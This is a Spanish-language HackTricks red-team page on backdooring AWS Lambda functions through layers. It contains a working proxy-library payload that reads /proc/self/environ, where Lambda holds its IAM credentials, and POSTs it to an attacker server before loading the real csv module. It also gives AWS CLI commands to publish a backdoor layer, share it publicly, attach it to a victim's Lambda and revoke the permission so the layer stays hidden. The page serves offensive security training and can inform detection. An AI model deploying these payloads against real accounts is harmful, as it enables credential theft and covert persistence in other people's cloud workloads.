AWS - Persistencia de Capas de Lambda

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Capas de Lambda

Una capa de Lambda es un archivo .zip que puede contener c贸digo adicional u otro contenido. Una capa puede contener bibliotecas, un runtime personalizado, datos o archivos de configuraci贸n.

Es posible incluir hasta cinco capas por funci贸n. Cuando incluyes una capa en una funci贸n, el contenido se extrae en el directorio /opt en el entorno de ejecuci贸n.

Por defecto, las capas que creas son privadas para tu cuenta de AWS. Puedes optar por compartir una capa con otras cuentas o hacer que la capa sea p煤blica. Si tus funciones consumen una capa que public贸 otra cuenta, tus funciones pueden seguir utilizando la versi贸n de la capa despu茅s de que haya sido eliminada, o despu茅s de que se revoque tu permiso para acceder a la capa. Sin embargo, no puedes crear una nueva funci贸n ni actualizar funciones utilizando una versi贸n de capa eliminada.

Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen.

Ruta de carga de Python

La ruta de carga que Python utilizar谩 en lambda es la siguiente:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Verifica c贸mo las segundas y terceras posiciones son ocupadas por directorios donde lambda layers descomprimen sus archivos: /opt/python/lib/python3.9/site-packages y /opt/python

Caution

Si un atacante logra backdoor una layer de lambda utilizada o agregar una que estar谩 ejecutando c贸digo arbitrario cuando se cargue una biblioteca com煤n, podr谩 ejecutar c贸digo malicioso con cada invocaci贸n de lambda.

Por lo tanto, los requisitos son:

  • Verificar bibliotecas que son cargadas por el c贸digo de las v铆ctimas
  • Crear una biblioteca proxy con lambda layers que ejecutar谩 c贸digo personalizado y cargar谩 la biblioteca original.

Bibliotecas pre-cargadas

Warning

Al abusar de esta t茅cnica encontr茅 una dificultad: Algunas bibliotecas ya est谩n cargadas en el tiempo de ejecuci贸n de python cuando se ejecuta tu c贸digo. Esperaba encontrar cosas como os o sys, pero incluso la biblioteca json estaba cargada.
Para abusar de esta t茅cnica de persistencia, el c贸digo necesita cargar una nueva biblioteca que no est茅 cargada cuando se ejecuta el c贸digo.

Con un c贸digo en python como este es posible obtener la lista de bibliotecas que est谩n pre-cargadas dentro del tiempo de ejecuci贸n de python en lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Y esta es la lista (verifica que bibliotecas como os o json ya est茅n all铆)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Y esta es la lista de bibliotecas que lambda incluye instaladas por defecto: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Inyecci贸n en la Capa de Lambda

En este ejemplo supongamos que el c贸digo objetivo est谩 importando csv. Vamos a inyectar el import de la biblioteca csv.

Para hacer eso, vamos a crear el directorio csv con el archivo __init__.py en 茅l en una ruta que sea cargada por lambda: /opt/python/lib/python3.9/site-packages
Luego, cuando la lambda se ejecute e intente cargar csv, nuestro archivo __init__.py ser谩 cargado y ejecutado.
Este archivo debe:

  • Ejecutar nuestra carga 煤til
  • Cargar la biblioteca csv original

Podemos hacer ambas cosas con:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Luego, crea un zip con este c贸digo en la ruta python/lib/python3.9/site-packages/__init__.py y agr茅galo como una capa lambda.

Puedes encontrar este c贸digo en https://github.com/carlospolop/LambdaLayerBackdoor

El payload integrado enviar谩 las credenciales de IAM a un servidor LA PRIMERA VEZ que se invoque o DESPU脡S de un reinicio del contenedor lambda (cambio de c贸digo o lambda fr铆a), pero otras t茅cnicas como las siguientes tambi茅n podr铆an integrarse:

AWS - Lambda Steal Requests

Capas Externas

Ten en cuenta que es posible usar capas lambda de cuentas externas. Adem谩s, una lambda puede usar una capa de una cuenta externa incluso si no tiene permisos.
Tambi茅n ten en cuenta que el n煤mero m谩ximo de capas que una lambda puede tener es 5.

Por lo tanto, para mejorar la versatilidad de esta t茅cnica, un atacante podr铆a:

  • Inyectar un backdoor en una capa existente del usuario (nada es externo)
  • Crear una capa en su cuenta, dar acceso a la cuenta de la v铆ctima para usar la capa, configurar la capa en la Lambda de la v铆ctima y eliminar el permiso.
  • La Lambda a煤n podr谩 usar la capa y la v铆ctima no tendr谩 ninguna forma f谩cil de descargar el c贸digo de las capas (aparte de obtener un rev shell dentro de la lambda)
  • La v铆ctima no ver谩 capas externas utilizadas con aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks